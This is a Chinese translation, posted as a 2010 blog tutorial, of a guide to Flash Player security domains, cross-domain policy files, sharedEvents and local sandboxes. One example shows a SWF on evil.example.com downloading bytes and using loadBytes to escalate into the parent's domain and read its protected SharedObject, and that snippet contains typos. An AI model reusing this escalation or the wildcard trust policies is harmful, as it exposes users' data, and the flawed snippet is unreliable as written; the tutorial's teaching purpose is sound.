教程:深入理解Flash的沙箱 – Security Domains



http://kevincao.com/2010/11/security-domains/

教程:深入理解Flash的沙箱 – Security Domains


今天終於有時間把senocular上關於安全域和應用程序域的教程好好看了一遍。覺得人家老外就是專業:內容非常有條理且完整,圖文並茂,舉例也非常實用,真是教程中的精品。剛好我最近也在整理這方面的知識,於是決定把這篇翻譯出來,方便國內的讀者。對想要進階理解Flash的運行機制的朋友,本文是不可多得的好材料。

原文地址:http://www.senocular.com/flash/tutorials/contentdomains/

簡介

如果你還沒有與複雜的的安全域(security domain)和應用程序域(application domain)問題打過交道,那麼你真是個幸運的傢伙。當你在加載外部內容(然後他們開始播放)的時候,默認的設置工作的很好,你甚至不知道他們的存在。
但是某些時候你可能需要控制默認設置以外的更多行爲和功能,這樣你就會遇到前面所說的問題。你也許會困擾於Security.allowDomain和crossdomain.xml文件的區別,又或者你想要深究關於安全性的最佳實踐。如果是這樣,那麼這篇文章就是你所需要的了。
以下的教程將會討論什麼是安全域和應用程序域,以及他們在Flash Player中應該如何使用。

安全域

Sandboxing 沙箱

沙箱是用於區分不同的數據和程序執行。沙箱對於安全性尤其重要。如果沒有恰當的信任授權,兩個位於不同沙箱內的內容應該沒有任何交互。Flash Player的安全模型使用稱爲安全域的沙箱來分離內容。
雖然安全性是沙箱的主要用途,但這並不是唯一使用沙箱的原因。另外一種可能的情形是使用沙箱來避免命名衝突,這種區分代碼的沙箱方式在Flash Player中被稱爲應用域

Security Domains 安全域

安全域在Flash中是頂級的沙箱。安全域鏈接到內容的來源域名,或者是被加載的內容(如SWF文件)的來源域名。比如在senocular.com下的SWF文件包含一個鏈接到senocular.com的安全域,而在example.com下的SWF文件則有一個鏈接到example.com的安全域。不同的安全域使得SWF文件在Flash Player中播放時運行在自身的沙箱下。

security domains
Flash Player中的安全域沙箱

注意:在本教程的例子中,你將看到我用統一頂級域名下的不同子域來代表不同域名,這是因爲在Flash中,不同子域和不同頂級域一樣,都被視爲不同的域。示例中代碼也被簡化過了,在Flash編輯環境下用時間線代碼也可以進行測試。

不可執行的內容(非SWF文件),比如圖片或者文本文件,也被劃分到安全域中,同樣與他們所處的域名相關聯。實際上,正是域名決定了這些內容是否能夠被某個SWF文件加載。更多這方面的內容將在不可執行文件的信任機制章節中進行討論。

回到SWF上來,安全域劃分了數據和可執行代碼。如果兩個SWF處於不同的安全域下,某個SWF中的數據(比如某個變量)是不可以被其他SWF獲取的,當然,代碼也不能執行。如果嘗試獲取其他域中SWF文件的數據將會產生一個安全錯誤。

下面的代碼展示了一個SWF文件企圖加載另外一個SWF,並獲取其文檔類的實例(也就是主時間線)。

http://same.example.com/parent.swf:

  1. var loader:Loader = new Loader();
  2. loader.contentLoaderInfo.addEventListener(Event.INIT, init);
  3.  
  4. var url:String = "http://diff.example.com/child.swf";
  5. loader.load(new URLRequest(url));
  6.  
  7. function init(event:Event):void {
  8. trace(loader.content);
  9. // SecurityError: Error #2121: Security sandbox violation:
  10. // Loader.content: http://same.example.com/parent.swf
  11. // cannot access http://diff.example.com/child.swf.
  12. // This may be worked around by calling Security.allowDomain.
  13. }

任意想要獲取被加載的SWF文件的內容的嘗試,甚至包括trace Loader的content屬性。都會引起安全錯誤,因爲他們兩者處於不同的安全域內。

安全域的劃分也適用於Flash Player所使用的原生ActionScript類。Flash Player在每個安全域中都創建了獨立的原生類。舉例來說,一個安全域內的XML類與另外一個安全域內的XML類是不相同的,改變其中一個XML的靜態屬性XML.prettyIndent並不會影響到另一個安全域。

下面這個SWF文件加載了兩個子SWF,一個來自自身的域,另一個從另外的域加載。我們改變了主文件的prettyIndent屬性,來看看這兩個子文件的屬性輸出。

http://same.example.com/parent.swf:

  1. trace(XML.prettyIndent); // 2
  2. XML.prettyIndent = 5;
  3. trace(XML.prettyIndent); // 5
  4.  
  5. // Same domain:
  6. var sameLoader:Loader = new Loader();
  7. var sameURL:String = "http://same.example.com/child.swf";
  8. sameLoader.load(new URLRequest(sameURL));
  9.  
  10. // Different domain:
  11. var diffLoader:Loader = new Loader();
  12. var diffURL:String = "http://diff.example.com/child.swf";
  13. diffLoader.load(new URLRequest(diffURL));

http://same.example.com/child.swf:

  1. trace("same: " + XML.prettyIndent); // same: 5

http://diff.example.com/child.swf:

  1. trace("diff: " + XML.prettyIndent); // diff: 2

可以看到,第二個子文件的屬性並沒有被改變。這就說明不同的安全域具有不同的原生ActionScript類定義。

Trust 信任授權

儘管安全域只允許相同域下的通訊,但是我們可以通過信任授權來讓處於兩個不同安全域內的SWF文件進行通訊。通過授權,某個安全域內的文件可以獲取另一個域內文件的的數據,或者調用其方法,就像是處於相同的安全域下一樣。

在ActionScript中,SWF的信任授權是通過Security.allowDomain(或者類似的Security.allowInsecureDomain)來設置的。在被信任的安全域內的代碼可以調用這個方法來授權信任給另一個或者一組在其他安全域內的SWF文件。這種信任是單向的,發起allowDomain的SWF文件不能去訪問被授權信任的文件,除非對方也做了信任授權。

Security domains with trust
建立信任關係的安全域

在下面的例子中,一個子SWF文件調用allowDomain來允許父SWF的訪問:

http://home.example.com/parent.swf:

  1. var loader:Loader = new Loader();
  2. loader.contentLoaderInfo.addEventListener(Event.INIT, init);
  3.  
  4. var url:String = "http://away.example.com/child.swf";
  5. loader.load(new URLRequest(url));
  6.  
  7. function init(event:Event):void {
  8. // (子文件執行了allowDomain)
  9. trace(loader.content); <em>// [object DocumentClass]</em>
  10. }

http://away.example.com/child.swf:

  1. Security.allowDomain("home.example.com");

如果沒有授信,就像前文說到的,還是會引發安全錯誤。但是一旦被加載的子SWF調用了allowDomain以後,父SWF文件就可以自由的訪問子SWF文件中的內容。要注意的是在這個例子中,由於父SWF文件沒有授權away.example.com的信任,所以子SWF仍然無法訪問loader的content屬性。

信任是非常重要的安全概念,絕對不能掉以輕心。我們經常看見使用通配符的授權:

  1. // 小心哦!
  2. Security.allowDomain("*");

這麼做將允許所有SWF文件,不僅僅只是你加載的或是加載你的,可以通過ActionScript來訪問你文件中的數據。就算你沒有在文件中包含敏感數據,但是如果你在文件中提供了某些方法去獲取這種數據,那也有可能被其他SWF調用。使用allowDomain來授權的信任就像給了其他SWF文件相等的權利:你能做什麼,我就能做什麼。在接下來的合併安全域章節中你將看到這意味着什麼。

如果你只是想讓SWF之間能夠通信,除了信任授權的方法以外我們還可以使用sharedEvents對象來實現,我們將在在非受信的SWF之間通訊章節中討論。

Non-executable Trust 不可執行文件的信任機制

由於不可執行文件(也就是非SWF文件)不能調用allowDomain代碼,所以這類文件的信任機制在Flash Player中有不一樣的處理方法。這就是跨域(cross-domain)策略文件派上用場的地方。

跨域策略文件是一個放在網站的根域名下的命名爲crossdomain.xml的XML文件。和allowDomain類似,定義了一組可以被Flash Player加載的安全網站域名。一個簡單的跨域策略文件的例子如下:

http://example.com/crossdomain.xml:

<?xml version="1.0"?>
<cross-domain-policy>
	<site-control permitted-cross-domain-policies="by-content-type"/>
	<allow-access-from domain="*.example.com"/>
	<allow-access-from domain="www.example-partner.com"/>
</cross-domain-policy>

你可以從Cross-domain policy file specification (adobe.com)獲得詳細的文件格式信息。

和allowDomain不同的是,跨域策略文件只提供了包含所有文件(通常是一個域下的所有文件)的用法。上面的例子表示允許來自example.com的任意子域或www.example-partner.com的SWF文件加載example.com下的文件。

由於存在allowDomain機制,跨域策略文件通常不用於授權SWF文件的訪問。跨域加載SWF的時候不會請求跨域策略文件。只有當要把一個跨域的SWF合併到當前的安全域的時候,才需要提供跨域策略文件。這個主題將在合併安全域中進行討論。

不管是標準的位於域名根目錄下的跨域策略文件還是用Security.loadPolicyfile指定的跨域策略文件,都只有在需要的時候纔會被加載:當內容被加載的同時,跨域策略文件也被一起加載進來。

加載完成後,Flash Player分析跨越策略文件並判斷該域是否爲信任SWF所處的域。如果答案是肯定的話,文件正常加載,就像處於和SWF文件相同的域一樣。反之則有可能有兩種情況:

  • 文件不被加載
  • 文件加載成功,但是其數據不能被SWF文件直接訪問

如果文件本身就是數據(文本文件,XML文件,二進制數據等等),那麼文件就不會被加載。

Policy file for loading

需要跨域策略文件來加載僅包含數據的文件

如果文件除了數據以外還有其餘用途(圖像文件,聲音文件等),那麼文件還是能夠被加載到用戶可見(可聽)的環境中。比如說圖像文件,就算沒有跨域策略文件,還是可以在Loader對象中顯示給用戶看。但是類似BitmapData.draw等直接訪問圖像數據的方法就不能運行。

Policy file for trusting

需要跨域策略文件來獲取其他文件的數據的引用

對此可能大家都有點疑惑。實際上用戶是可以訪問這些數據的,但是SWF文件不行。Flash Player是在保護用戶的數據不被潛藏有危險代碼的SWF文件獲取。用戶不需要關心跨域策略文件也能正常的瀏覽網頁內容。

但這並不是說跨域策略文件可以被忽視,類似於下面這種過分縱容的跨域策略文件有很多潛在的危險:

<?xml version="1.0"?>
<cross-domain-policy>
	<!-- 小心哦! -->
	<allow-access-from domain="*"/>
</cross-domain-policy>

警告:使用通配符(*)允許所有域的訪問等同於:用戶可能可以接觸到的所有處於該域下的數據都有可能被任意SWF文件獲取

客戶端的Flash Player運行在當前用戶的認證下,這就表示用戶的數據可能就是Flash Player的數據。而且Flash Player的數據可能被任意在裏面運行的SWF獲取。Flash Player默認只允許相同域名下的SWF的安全數據,並限制跨域SWF的運行。如果沒有這層限制,SWF可以獲取任意當前用戶可以獲取的數據。

舉個例子:某用戶使用他的認證來登錄網頁的郵件客戶端收取郵件,然後用戶打開了一個包含有惡意程序的SWF的頁面。如果沒有跨域限制的話,這個SWF可以用他現有的認證偷偷地加載用戶的郵件頁面。用戶可以訪問的內網也不例外,只要用戶能去的地方,SWF就能去。幸好Flash Player阻止了這種獲取數據的行爲,除非該域通過跨域策略文件給予SWF授權。

記住一個原則,永遠不要對包含敏感數據的域開發跨域授權,即使需要上面的信息來進行用戶認證。把SWF可以訪問的數據劃分到不同的域或者子域下面。

Domain Description Policy file
login.example.com Hosts user data None
feed.example.com Hosts public data Includes:<allow-access-from domain="*" />

這將使得敏感數據不可被訪問,但是仍然可以對其他域下的SWF文件公開你的其他數據。

Non-executable Content Without Trust 非受信的不可執行文件

如果沒有跨域策略文件的信任授權,Flash Player禁止非SWF文件的獲取。特別是像文本那樣的僅包含數據的文件,甚至不會加載。如果你需要從一個沒有跨域授權的域中獲取數據,還是有一個變通的辦法。

跨域策略文件用於保護數據,特別是保護用戶數據,或者說是用戶能夠接觸到的數據。因爲Flash Player是運行在客戶端的,但是服務器端的代碼沒有這種限制。服務器完全是另外一臺機器,所以用戶請求和服務器請求是完全無關的。

由於服務器沒有用戶的限制,服務器端的代碼可以從任意公開的網絡服務獲取數據。也就是說包含SWF的服務器可以用於訪問外部域的數據,然後作爲相同域的數據返回給Flash Player。由於處在相同的域下,Flash Player就不需要有跨域策略文件了。

下面的代碼演示了一個服務器端的php腳本加載外部數據的例子:

http://home.example.com/loader.swf:

  1. var urlLoader:URLLoader = new URLLoader();
  2.  
  3. var urlVariables:URLVariables = new URLVariables();
  4. // 服務器端獲取外部數據的地址
  5. urlVariables.externalURL = "http://away.example.com/content.txt";
  6.  
  7. // 服務器端的腳本獲取外部數據並傳給SWF
  8. var serverPage:String = "http://home.example.com/read.php";
  9.  
  10. var request:URLRequest = new URLRequest(serverPage);
  11. request.data = urlVariables;
  12. urlLoader.load(request);

這種解決方案也有一定的問題。首先你必須能夠在服務器端部署代碼,某些小項目也許根本不需要服務器環境。

另一個可能更重要的原因是這種方式加倍了網絡流量。首先必須從外部域加載到你自己的域下,然後才被下載到你的SWF客戶端。同時這也加重了你的服務器的負載。使用跨域策略文件的話就不會有這種問題。

這可以作爲一種解決方案,但最好還是能用跨域策略文件來解決。

SWF Communication Without Trust 在非受信的SWF之間通訊

在某些情況下有可能要與其他來源不那麼可靠的域中的SWF通訊,你並不希望完全信任該域,放開全部授權。對此LoaderInfo對象的sharedEvents屬性提供了另一種機制。sharedEvents對象是唯一的一個可以在不同安全域中發送共享事件的對象。加載者和被加載者都可以通過這個對象來向對方發送事件。

通過sharedEvents對象發送的事件在兩個域中都是完全受信的,這就使得在兩個安全域中傳遞的任意數據都無需考慮安全問題。

警告:當心!通過sharedEvents對象傳遞了錯誤的數據仍然有可能把你的SWF中的數據暴露出去。比如你的事件包含了一個複雜對象,特別是顯示列表上的對象,那麼你的整個SWF都將暴露。

所以通過sharedEvents發送的事件應該限制爲包含簡單數據的事件類型,避免一些被包含後門的SWF程序加以利用。如果你要傳遞複雜的事件,那要在傳遞之前先做一下清理。

使用sharedEvents進行通訊的兩個SWF需要確保發送和接收的是一致的事件類型。父SWF可以發出一種事件並監聽另一種。子SWF可以監聽父SWF發出的事件併發出父SWF中正在監聽的事件。這些事件的名字可以是隨意的。

下面的例子演示了在不同安全域中的父子SWF使用sharedEvents來通訊簡單的文本信息的情況。父SWF發出“fromParent”事件,而子SWF發出“fromChild”事件。

http://safe.example.com/parent.swf:

  1. var loader:Loader = new Loader();
  2. var shared:EventDispatcher = loader.contentLoaderInfo.sharedEvents;
  3. shared.addEventListener("fromChild", fromChild);
  4.  
  5. var url:String = "http://untrusted.example.com/child.swf";
  6. loader.load(new URLRequest(url));
  7.  
  8. function fromChild(event:TextEvent):void {
  9. trace(event.text); // Good day
  10.  
  11. var replyMessage:TextEvent = new TextEvent("fromParent");
  12. replyMessage.text = "Same to you";
  13. shared.dispatchEvent(replyMessage);
  14. }

http://untrusted.example.com/child.swf:

  1. var shared:EventDispatcher = loaderInfo.sharedEvents;
  2. shared.addEventListener("fromParent", fromParent);
  3.  
  4. var firstMessage:TextEvent = new TextEvent("fromChild");
  5. firstMessage.text = "Good Day";
  6. shared.dispatchEvent(firstMessage);
  7.  
  8. function fromParent(event:TextEvent):void {
  9. trace(event.text); // Same to you
  10. }

任意的事件類都可以像這樣用於傳遞信息,也包括自定義事件。再次強調,要當心不要把包含引用的數據(特別是顯示列表上的對象)隨着事件一起發送出去。這種情況的例子在場景的擁有者和獲取權限章節中可以找到。

Merging Security Domains 合併安全域

如果兩個域之間建立了信任關係,一個SWF就能把另外一個SWF加到自己的安全域內,就像是在相同的域下一樣。

在這種情況下信任授權的處理有少許不同。首先,包含父SWF的域不需要指定什麼,只要執行加載另一個SWF到當前的安全域就表示完全信任這個SWF。

其次,因爲子SWF是立即被加載到父SWF的安全域中,並沒有機會通過allowDomain進行信任授權聲明。當子SWF可以執行allowDomain聲明的時候,已經被加載並實例化到另外的域中。所以這種情況下,跨域策略文件將派上用場。實際上這也是跨域策略文件唯一適用於對SWF進行授權的情況。

Loading into another security domain

需要跨域策略文件把跨域的SWF加載到相同的安全域

要加載某個SWF到自己的安全域內,需要給Loader.load方法指定一個LoaderContext對象。LoaderContext對象的securityDomain屬性設置爲當前的安全域(SecurityDomain.currentDomain)。通過這樣的加載方式,父SWF授信給子SWF,而子SWF的授信則需要通過跨域策略文件。

http://host.example.com/parent.swf:

  1. trace(new LocalConnection().domain); // host.example.com
  2.  
  3. var loader:Loader = new Loader();
  4.  
  5. // 創建一個LoaderContext對象把子SWF加載到當前的安全域
  6. var context:LoaderContext = new LoaderContext(true);
  7. context.securityDomain = SecurityDomain.currentDomain;
  8.  
  9. var url:String = "http://trusting.example.com/child.swf";
  10. loader.load(new URLRequest(url), context);

http://trusting.example.com/crossdomain.xml:

<?xml version="1.0"?>
<cross-domain-policy>
	<allow-access-from domain="host.example.com"/>
</cross-domain-policy>

http://trusting.example.com/child.swf:

  1. trace(new LocalConnection().domain); // host.example.com

我們可以通過LocalConnection對象的domain屬性來檢查每個SWF所處的安全域。雖然子SWF原先所處的域是trusting.example.com,但是由於它被加載到父SWF所處的域中,所以子SWF最終所處的安全域是host.example.com。

用這個方式加載的SWF文件權力比用allowDomain授權的更加大。使用allowDomain授權,等同於說你能做什麼,我就能做什麼。而把SWF加載到同一個安全域,則等同於我能做任何事。在前一種情況下,子SWF只能調用父SWF下的代碼,還是受限於父SWF中的定義。但是通過加載到相同的安全域,這些子SWF就可以在你的域下面做任意操作,這包括:

  • 獲取父SWF中的任意引用
  • 讀取主域中的所有文件
  • 讀取其他授信給主域的所有域下的文件
  • 讀取主域下的共享對象
  • 獲取通過主域建立的共享連接通訊
  • 獲取授信給主域的socket連接

所以在引入跨域SWF文件到你當前的安全域下的時候,你要確保這種權力不會被濫用。

使用包含安全域的LoaderContext對象的load方法不是能夠引入跨域SWF到你的安全域的唯一方法。Loader類的另一個方法loadBytes也可以做到。和load不同的是,它不是用URL來加載外部內容,而是直接加載以ByteArray的形式加載對象。

由於ByteArray與域名之間沒有關聯,所以用loadBytes方法加載的對象將直接進入當前安全域內。因爲你在加載包含這些字節對象之前往往都要經過某種信任授權,所以這通常是安全的。

http://host.example.com/parent.swf:

  1. trace(new LocalConnection().domain); // host.example.com
  2.  
  3. var loader:Loader = new Loader();
  4.  
  5. var urlLoader:URLLoader = new URLLoader();
  6. urlLoader.dataFormat = URLLoaderDataFormat.BINARY;
  7. urlLoader.addEventListener(Event.COMPLETE, bytesLoaded);
  8.  
  9. // cross-domain policy file required to load data
  10. var url:String = "http://trusting.example.com/childbytes.swf";
  11. urlLoader.load(new URLRequest(url));
  12.  
  13. function bytesLoaded(event:Event):void {
  14. loader.loadBytes(urlLoader.data);
  15. }

http://trusting.example.com/crossdomain.xml:

<?xml version="1.0"?>
<cross-domain-policy>
	<allow-access-from domain="host.example.com"/>
</cross-domain-policy>

http://trusting.example.com/childbytes.swf:

  1. trace(new LocalConnection().domain); // host.example.com

就和前面看到的例子一樣,通過檢查子SWF文件的LocalConnection.domain屬性,使用loadBytes方法加載的子SWF也顯示爲相同的安全域。

警告:loadBytes方法有個小小的安全問題:可以把授信過的跨域SWF和加載到當前安全域下的SWF兩者間的不同扯平。我們知道雖然這兩者都是被信任的,但是就像上面的列表中提到的,後者比前者的權力更大。“你能做什麼,我就能做什麼”與“我能做任何事”之間的差別,結果可以變成沒有差別。

這是因爲授信過的跨域SWF文件可以訪問父SWF的任何對象,包括父SWF對象的Loader實例,一旦擁有了對loadBytes方法的引用,這就意味着可以把某些字節對象加載到當前的安全域。

下面的這個例子展示了這種可能性:

http://good.example.com/parent.swf:

  1. // 授權 "你能做什麼,我就能做什麼"
  2. Security.allowDomain("evil.example.com");
  3.  
  4. // 應當受保護的數據
  5. var so:SharedObject = SharedObject.getLocal("foo", "/");
  6. so.data.foo = "bar";
  7. so.flush();
  8.  
  9. var loader:Loader = new Loader();
  10. var url:String = "http://evil.example.com/child.swf";
  11. loader.load(new URLRequest(url));

http://evil.example.com/child.swf:

  1. var so:SharedObject = SharedObject.getLocal("foo", "/");
  2. trace("trust only: " + so.data.foo); // trust only: undefined
  3.  
  4. var urlLoader:URLLoader = new URLLoader();
  5. urlLoader.dataFormat = URLLoaderDataFormat.BINARY;
  6. urlLoader.addEventListener(Event.COMPLETE, bytesLoaded);
  7.  
  8. var url:String = "http://evil.example.com/childbytes.swf";
  9. urlLoader.load(new URLRequest(url));
  10.  
  11. function bytesLoadedEvent):void {
  12. // 威脅!loadBytes加載了SWF數據到父SWF的安全域
  13. loaderInfo.loader.loadBytes(urlLoader.data);
  14. }

http://evil.example.com/childbytes.swf:

  1. var so:SharedObject = SharedObject.getLocal("foo", "/");
  2. trace("same domain: " + so.data.foo); // same domain: ba

將來版本的Flash Player可能會改變這種行爲,所以在程序中不要使用這種方法。我們應該關注的是加載授信過的SWF文件會帶來的潛在威脅:暴露你的域下的所有數據。

Stage Owner and Access 場景的擁有者和獲取權限

當第一個SWF文件被加載到Flash Player中的時候,它被加到顯示列表的根上,也就是我們所說的stage對象。這也是Flash Player自己的顯示對象的根。每個SWF都有代表自己主文檔類或者主時間線的根(叫做root)。第一個被創建的SWF實例的根被放置於場景上,其他子SWF使用Loader對象的實例來加載。

場景的特別之處在於它本身就位於顯示列表上,所有處於顯示列表上的子SWF都可以取得它的引用,但是它只有一個擁有者:就是第一個被實例化的那個SWF。場景的擁有者決定了場景所連接的安全域。其他的SWF想對場景進行特殊操作的行爲都必須獲得場景所有者的信任授權。

你可能有注意到在過去的有些程序或者是組件中,被加載到不同的域(未授信)裏的時候報錯。這正是因爲沒有取得對場景對象進行操作的授權。因爲場景對象是可以被引用的,但是諸如場景的addEventListener方法等卻不可用,所以這很容易引起誤解。

下面這個表格列出了場景對象限制非安全域對象訪問的成員。可能不是100%精確,主要用於參考。

addChild addChildAt removeChild
removeChildAt getChildIndex setChildIndex
getChildAt getObjectsUnderPoint swapChildren
swapChildrenAt numChildren tabChildren
mouseChildren width stageWidth
fullScreenWidth height stageHeight
fullScreenHeight quality align
scaleMode displayState fullScreenSourceRect
stageFocusRect showDefaultContextMenu colorCorrection
addEventListener dispatchEvent hasEventListener
willTrigger    

在下面的例子中看看場景是如何可以被子SWF訪問,但是卻不能調用stage.addEventListener方法。

http://first.example.com/parent.swf:

  1. var loader:Loader = new Loader();
  2. addChild(loader);
  3.  
  4. var url:String = "http://<samp>second</samp>.example.com/child.swf";
  5. loader.load(new URLRequest(url));

http://second.example.com/child.swf:

  1. // Works
  2. trace(stage); // [object Stage]
  3.  
  4. // Does not work
  5. stage.addEventListener(MouseEvent.CLICK, stageClick);
  6. // SecurityError: Error #2070: Security sandbox violation:
  7. // caller http://second.example.com/child.swf cannot access
  8. // Stage owned by http://first.example.com/parent.swf.

場景的這種所有者關係非常操蛋,因爲我們經常需要對場景對象監聽鼠標或者鍵盤事件,比如檢測鍵盤按下或者檢測鼠標在物體外部釋放點擊。在這種情況下,單靠子SWF自身是沒辦法完成的。還好,場景擁有者的父SWF可以通過sharedEvents傳遞場景事件而不必授信給子SWF。通過這種方式,可以在保護主域的前提下配合完成這種工作。

警告:以下這個使用範例演示了sharedEvents是如何處理安全性問題的。一些鼠標事件的relatedObject屬性持有對時間線上的對象的引用。如果不經過清理,這些對象就會暴露給沒有經過授信的域。所以通過sharedEvents發送事件時,要把這些引用清除。比如MouseEvent,我們可以新建一個僅包含必須數據的MouseEvent對象。

下面的示例展示瞭如何通過sahredEvents發送場景事件。示例中僅僅轉發了MOUSE_OUT事件,當然也可以擴展於其他的事件類型。注意如何創建一個代理事件並保護父SWF中的對象。

http://stageowner.example.com/parent.swf:

  1. var combination:String = "1-2-3-4-5"; // 隱私數據
  2.  
  3. var loader:Loader = new Loader();
  4. var shared:EventDispatcher = loader.contentLoaderInfo.sharedEvents;
  5.  
  6. var url:String = "http://untrusted.example.com/child.swf";
  7. loader.load(new URLRequest(url));
  8.  
  9. stage.addEventListener(MouseEvent.MOUSE_OUT, forwardMouseEvent);
  10.  
  11. function forwardMouseEvent(event:MouseEvent):void {
  12. // 威脅!這種做法暴露了relatedObject,也使得其他數據被暴露
  13. //shared.dispatchEvent(event);
  14.  
  15. // Safer: 創建一個清理過的代理事件來切斷relatedObject的引用
  16. var safeEvent:MouseEvent = new MouseEvent(event.type);
  17. safeEvent.altKey = event.altKey;
  18. safeEvent.buttonDown = event.buttonDown;
  19. safeEvent.ctrlKey = event.ctrlKey;
  20. safeEvent.delta = event.delta;
  21. safeEvent.localX = event.localX;
  22. safeEvent.localY = event.localY;
  23. safeEvent.shiftKey = event.shiftKey;
  24.  
  25. shared.dispatchEvent(safeEvent);
  26. }

http://untrusted.example.com/child.swf:

  1. var shared:EventDispatcher;
  2.  
  3. // 如果場景事件不能引用,那就通過sharedEvents監聽
  4. if (loaderInfo.parentAllowsChild){
  5. stage.addEventListener(MouseEvent.MOUSE_OUT, stageMouseOut);
  6. }else{
  7. shared = loaderInfo.sharedEvents;
  8. shared.addEventListener(MouseEvent.MOUSE_OUT, stageMouseOut);
  9. }
  10.  
  11. function stageMouseOut(event:MouseEvent):void {
  12. // -- stage mouse out actions here --
  13.  
  14. // 如果sharedEvents傳遞了原始的鼠標事件,那麼父域中的數據就暴露了!
  15. //trace(Object(event.relatedObject).root.combination); // 1-2-3-4-5
  16. }

幸好有safeEvent這個MouseEvent的實例,原本的MouseEvent對象的relatedObject指向的引用被屏蔽了。實際上,所有通過sharedEvents對象發送的事件都應該用這種方式清理一遍。

Local Security Domains 本地安全域

在硬盤上運行的SWF文件同樣有自己的安全域。本地安全域有自己獨特的行爲,共分爲4種安全沙箱類型:local-with-file, local-with-network, local-trusted, and application for AIR(本文不詳細討論AIR)。再加上網絡上的SWF,一共有5種安全沙箱。在ActionScript中,你可以用Security.sandboxType來獲得當前的安全沙箱類型。

  • local-with-file (Security.LOCAL_WITH_FILE)—本地不受信任的文件,只可以訪問本地數據,不能與網絡通信。
  • local-with-network (Security.LOCAL_WITH_NETWORK)—本地不受信任的文件,只可以訪問網絡,但是不能讀取本地數據。
  • local-trusted (Security.LOCAL_TRUSTED)—本地受信的文件,通過Flash Player設置管理器或者FlashPlayerTrust文件授權。可以訪問本地和網絡。
  • application (Security.APPLICATION)—隨着AIR包而安裝,運行在AIR程序中。默認在這種沙箱類型下的文件可以調用任意域下的文件(外部域可能不允許)。而且默認能從任意其他域下加載數據。
  • remote (Security.REMOTE)—來自網絡的文件,遵循安全域的沙箱規則。

由於有可能從用戶的硬盤上獲取敏感數據,所以本地文件在安全方面有着嚴格的規則。一旦有機會,惡意的SWF將可以從電腦上讀取數據並上傳到網絡上的服務器。所以爲了防止這種情況,本地的SWF只允許一種類型的通訊,要麼就是本地,要麼就是網絡。而且,不同安全沙箱類型的SWF不能相互加載,避免能同時訪問網絡和訪問本地的情況出現。

由於我們不能判斷本地文件的域名,所以判斷本地SWF文件的安全沙箱用的是另外一種形式。只允許本地和只允許網絡這兩種情況是通過SWF文件內的標識來區分的,所有的SWF在發佈的時候都帶有這種標識,當SWF在本地運行的時候,Flash Player就用它來檢測安全沙箱類型。

對於本地的信任文件,相同的問題是我們沒有地方來保存跨域策略文件,所以我們通過Flash Player的設置管理器裏的全局安全設置面板來設置。通過下圖中所示的下拉菜單把本地SWF的路徑添加到本地的安全文件列表裏。

Settings Manager

Flash Player 設置管理器

另一種方式是通過配置文件的方式。配置文件不像設置管理器那樣需要聯網來使用。要把SWF或者包含SWF的文件夾添加到信任位置的話只需要添加路徑到Flash Player的#Security\FlashPlayerTrust下的.cfg文件就可以了。在Mac和Windows上,這個路徑如下:

  • Windows 95-XP:
    C:\Documents and Settings\[username]\Application Data\Macromedia\Flash Player\#Security\FlashPlayerTrust
  • Windows Vista-7:
    C:\Users\[username]\AppData\Roaming\Macromedia\Flash Player\#Security\FlashPlayerTrust
  • Mac OS X:
    /Users/[username]/Library/Preferences/Macromedia/Flash Player/#Security/FlashPlayerTrust

[username] 替換爲你的用戶名。

兩種方法都是把信任授權信息寫入你的硬盤(全局安全設置面板也一樣,保存在Flash Player的特定目錄下)。這些文件就像你本地的跨域策略文件一樣。當Flash Player讀取的時候,信任授權給SWF,並覆蓋SWF文件中關於本地訪問權限的標識,從而允許受信的SWF能夠同時訪問本地和網絡。

Local sandbox types
本地安全域

關於本地信任機制還有一點需要注意的是即使是本地受信的文件,仍然不能把處於外部沙箱的內容加載入本地沙箱。

大多數Flash內容都是爲網絡創建的,所以通常不需要完全理解本地的安全沙箱機制。但是開發和測試是一個例外。Flash編輯器在測試的時候就是把SWF放在一個本地受信的安全沙箱裏面。這有可能會造成與真正發佈的SWF情況不同的結果,因爲兩者的安全沙箱不同。比如你測試的時候可以從沒有授信的外部域讀取內容,而真正發佈到網站上的SWF卻無法加載。所以當你測試的時候要注意,你所看到的結果和最終發佈的版本有可能不一樣。

你可以到Flash Player Developer Center(adobe.com)的Security section查看更詳細的安全相關信息。

第一部分到此結束,第二部分Application Domain請點擊


This entry was posted in Develop and tagged ActionScript, Flash, tutorial on 2010/11/24 by Kevin.
發佈了104 篇原創文章 · 獲贊 152 · 訪問量 101萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章